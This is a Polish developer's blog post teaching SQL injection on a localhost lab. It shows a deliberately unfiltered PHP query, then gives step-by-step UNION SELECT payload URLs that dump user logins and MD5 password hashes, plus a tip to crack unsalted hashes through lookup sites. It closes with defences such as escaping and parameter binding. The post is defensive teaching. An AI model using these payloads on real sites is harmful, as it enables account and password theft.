Michał Środek

Po prostu devBlog

Witaj na srodek.info

Jest to blog poświęcony nowoczelnym technologiom ułatwiającym tworzenie aplikacji internetowych. Znajdziesz tutaj porady na temat CSS3, JavaScript, designu, web-usability, standardów W3C.

Cześć! Nazywam się Michał Środek. Z zawodu programista php, z zamiłowania gitarzysta oraz fanatyk GNU/Linuksa(openSUSE® w laptopie). W branży aplikacji internetowych od 9 lat. Prywatnie bez dzieci i kota.

Pracuję wciąż nad własnym elastycznym i wydajnym frameworkiem MVC, kilkoma portalami internetowymi oraz mniejszymi bibliotekami php. Czekam na wasze opinie, zgłoszenia błędów oraz pomysły na dalszy rozwój.

Ta część strony jest w trakcie budowy a moje prace tymczasowo niedostępne.

W przypadku pytań, ofert pracy oraz ciekawych pomysłów proszę się ze mną kontaktować. Możesz mnie znaleźć i wysłać PW na php.pl(SHiP), jamendo.com(michalsrodek), goldenLine.pl, facebook.com lub nk.pl

13 Luty 2010

Kilka słów o SQL Injection

Filed under: Bezpieczeństwo,PHP,SQL — Michał Środek @ 23:33

Ostat­nio pra­co­wa­łem nad pew­nym pro­jek­tem wraz z innym(„troszkę“ mniej doświad­czo­nym) pro­gra­mi­stą. Sta­ra­łem się przy­my­kać oko na wiele jego błędów(niepotrzebne zmienne, brak obiek­to­wo­ści itp.) jed­nak jeden był nie­wy­ba­czalny — brak fil­tra­cji danych przy­cho­dzą­cych w zapy­ta­niach SQL. Dzi­siaj posta­ram się wytłu­ma­czyć dla­czego to jest tak bar­dzo ważne poka­zu­jąc jak haker w pro­sty spo­sób może wykraść loginy i hasła użyt­kow­ni­ków ze słabo zabez­pie­czo­nej witryny.

Stwórzmy przy­kła­dową bazę danych „hack“ aby poka­zać jak to wygląda od dru­giej strony.

CREATE TABLE articles(
id int(10) AUTO_INCREMENT,
title varchar(80) NOT NULL,
content text NOT NULL,
author int(10),
category int(10),
PRIMARY KEY(id)
);
 
CREATE TABLE users(
id int(10) AUTO_INCREMENT,
login varchar(40) NOT NULL,
email varchar(60) NOT NULL,
password varchar(32) NOT NULL,
PRIMARY KEY(id)
);

Wypeł­nijmy je danymi:

mysql> select * from articles;
+----+--------------+----------+--------+----------+
| id | title        | content  | author | category |
+----+--------------+----------+--------+----------+
|  1 | Artykul nr 1 | tresc... |      1 |        2 |
|  2 | Artykul nr 2 | tresc... |      3 |        1 |
|  3 | Artykul nr 3 | tresc... |      2 |        1 |
|  4 | Artykul nr 4 | tresc... |      3 |        2 |
+----+--------------+----------+--------+----------+
mysql> select * from users;
+----+--------+--------------------+----------------------------------+
| id | login  | email              | password                         |
+----+--------+--------------------+----------------------------------+
|  1 | Michal | michal@example.com | 1660fe5c81c4ce64a2611494c439e1ba |
|  2 | Magda  | romek@example.com  | 9d0250b24620c2056516e5d2d79eed4a |
|  3 | Romek  | romek@example.com  | 944278ab01f435bfc369fa038130f25b |
+----+--------+--------------------+----------------------------------+

Czas na kod PHP odpo­wie­dzialny za pobie­ra­nie arty­ku­łów. Pomi­jam fil­tro­wa­nie zmien­nych przy­cho­dzą­cych. Wygląda to mniej wię­cej tak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$mysqli = new mysqli('localhost', 'root', '', 'hack');
 
if(isset($_GET['id']))
  $result = $mysqli->query('SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id='.$_GET['id']);
else
  $result = $mysqli->query('SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id');
 
while($row = $result->fetch_array())
{
  echo '<h2>'.$row['title'].'</h2>';
  echo '<strong>Author: '.$row['author'].'</strong>';
  echo '<p>'.$row['content'].'</p>';
}
?>

Wystar­czy mała nie­uwaga aby skrypt był dziu­rawy jak ser szwaj­car­ski. Co wię­cej, dziurę taką da się bar­dzo łatwo wykryć — wystar­czy apo­strof lub cudzysłów.

http://localhost/hack/sql/?id=1'

Naszym oczom ukaże się błąd:

Fatal error: Call to a member function fetch_array() on a non-object in /home/hellson/public_html/hack/sql/index.php on line 27 

Jest to infor­ma­cja, że użyt­kow­nik może wpły­wać na treść zapy­ta­nia SQL. Dla­czego tak się dzieje? PHP bez­my­sl­nie umiesz­cza zmienną $_GET[’id’] do zapy­ta­nia SQL które teraz wygląda tak:

SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1'

Jest to nie­po­prawne zapy­ta­nie więc php zwraca błąd metody fetch_array(). Tym samym jest to infor­ma­cja, że haker może spre­pa­ro­wać wła­sne zapy­ta­nia, które zwrócą mu loginy i hasła. Oczy­wi­ście w sytu­acji gdy nie zna on struk­tury bazy danych jest to troszkę utrud­nione lecz wciąż moż­liwe. Aby uświa­do­mić o jakie aspekty należy zadbać warto dowie­dzieć się jak to robi prze­ciętny włamywacz.

Od strony hakera

Pierw­szym kro­kiem jest spraw­dze­nie czy rze­czy­wi­ście możemy wpły­wać na zapy­ta­nie. Naj­le­piej jest dopi­sać nic nie zna­czące „OR 1=1″

http://localhost/hack/sql/?id=1 OR 1=1
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 OR 1=1

Naszym oczom powinna uka­zać się pełna lista arty­ku­łów zamiast tylko jed­nego lub jeśli na stro­nie moduł pobiera tylko pierw­szy rekord otrzy­mamy inny niż jest spre­cy­zo­wany w zmien­nej id(oczywiście należy wziąć pod uwagę sor­to­wa­nie). Kolej­nym kro­kiem jest wpro­wa­dze­nie wła­snego zapy­ta­nia. Naj­czę­ściej używa się UNION ponie­waż jest to naj­prost­sza tech­nika. UNION połą­czy 2 zapy­ta­nia tylko wtedy gdy będą one posia­dać taką samą ilość kolumn. Warto więc naj­pierw to spraw­dzić metodą prób i błę­dów pobie­ra­jąc kolejno 2 NULL-e, 3 NULL-e itd. W naszym przy­kła­dzie wystar­czy sześć.

http://localhost/hack/sql/?id=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL

Sprawdzmy, które pola odpo­wia­dają poszcze­gól­nym rze­czom wyświe­tla­nym na stronie.

http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL

Zauważ, że nie podaję jesz­cze nazwy tabeli aby nie kom­pli­ko­wać sobie całej ope­ra­cji. W przy­padku otwar­tych roz­wią­zań sprawa jest pro­sta ponie­waż wystar­czy zaj­rzeć w kod i odczy­tać nazwy tabel. Cza­sami skrypty wyświe­tlają komu­ni­kat o błę­dzie SQL, który zawiera zapytanie(sic!). Ewen­tu­al­nym pro­ble­mem mogą być pre­fiksy w nazwach. Metodą prób i błę­dów można jed­nak odkryć, że tabele z naszego przy­kładu to „artic­les“ oraz „users“

http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL FROM users
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL FROM users

Pozo­stała część to już jedy­nie for­mal­ność. Należy pobrać odpo­wied­nią ilość ele­men­tów z tabeli users.

http://localhost/hack/sql/?id=1 UNION SELECT users.*,NULL,NULL FROM users
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT users.*,NULL,NULL FROM users

Gotowe! Zamiast arty­ku­łów mamy loginy i hasła. Jeśli pro­gra­mi­sta jest począt­ku­jący praw­do­po­dob­nie nie dodaje soli do haseł a te są kodo­wane za pomocą MD5. Wystar­czy w google pisać „md5 data­base“ aby szybko zna­leźć stronę, która dopa­suje odpo­wiedni ciąg zna­ków do poda­nego hasha. Można w ten spo­sób spo­koj­nie odko­do­wać hasła przy­naj­mniej połowy użyt­kow­ni­ków prze­cięt­nego por­talu inter­ne­to­wego. Sprawa jest utrud­niona, gdy tabela users zawiera np. 15 kolumn. Wtedy odgad­nąć trzeba rów­nież nazwy pól.

http://localhost/hack/sql/?id=1 UNION SELECT NULL, users.email, users.password, users.login, NULL,NULL FROM users
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL, users.email, users.password, users.login, NULL,NULL FROM users

Jeśli strona jest słabo zabez­pie­czona to praw­do­bo­dob­nie rów­nież nazwy tabel i pól są pro­ste to odgad­nię­cia. Dla dobrego hakera wszystko jest kwe­stią czasu. Oczy­wi­ście twórca strony może troszkę udziw­niać np. umie­ścić war­tość w cudzy­sło­wiach jed­nak to też mu nie­wiele da ponie­waż wystar­czy wpisać:

http://localhost/hack/sql/?id=1" UNION SELECT users.*,NULL,NULL FROM users WHERE 1="1
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id="1" UNION SELECT users.*,NULL,NULL FROM users WHERE 1="1"

Oczy­wi­ście to nie wyczer­puje tematu i być może kie­dyś roz­winę jesz­cze temat dziu­ra­wych zapy­tań SQL.

Jak się zabezpieczyć?

Naj­prost­szym ze spo­so­bów zabez­pie­cza­nia się jest uży­cie mysqli::real_escape_string(). Aby unie­moż­li­wić atak wystar­czy aby nasz kod wyglą­dał tak:

5
$result = $mysqli->query('SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id="'.$mysqli->real_escape_string($_GET['id']).'"');

Oso­bi­ście jed­nak pre­fe­ruję fil­tro­wa­nie wszyst­kich danych przy­cho­dzą­cych wedle wła­snych wzor­ców tak aby wyklu­czyć np. uru­cho­mie­nie zapy­ta­nia z cią­giem zna­ków zamiast cyfr, fil­tra­cje kodu html, zna­ków spe­cjal­nych itp. Świet­nym roz­wią­za­niem wpro­wa­dzo­nym w php5 wraz z mysqli jest bin­do­wa­nie parametrów(podobnie jak to ma miej­sce w QT) ale o tym napi­szę innym razem.

Dodaj arty­kuł do:

  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Gwar
  • Reddit
  • Technorati
  • Twitter
  • Wykop

Komentarzy: 2 »

  1. W końcu ktoś to opi­sał od początku do końca. Bar­dzo fajny wpis. Taka moja mała uwaga. Warto wspo­mnieć o usta­wie­niu „magicz­nych cudzy­sło­wów“ w php.ini. Cie­ka­wostkę którą zauwa­ży­łem to to że włą­cze­nie magic_quotes w php.ini powo­duje, że inter­pre­ter zacho­wuje się jakby był dziu­rawy. Nato­miast ten wpis już nie zadziała
    http://localhost/hack/sql/?id=1 UNION SELECT NULL,‚Tytuł’,‚Tresc’,‚Autor’,NULL,NULL

    Komentarz by thx4 — 22 lutego 2010, 10:26

  2. Dzię­kuję za komen­tarz. Jak już pisa­łem ten wpis nie wyczer­puje tematu. Opi­szę kilka dodat­ko­wych tech­nik po tym jak już się upo­ram z arty­ku­łami na temat ata­ków LFI ;) .

    Komentarz by Michał Środek — 22 lutego 2010, 12:54

Kanał RSS z komentarzami do tego wpisu. TrackBack URL

Dodaj komentarz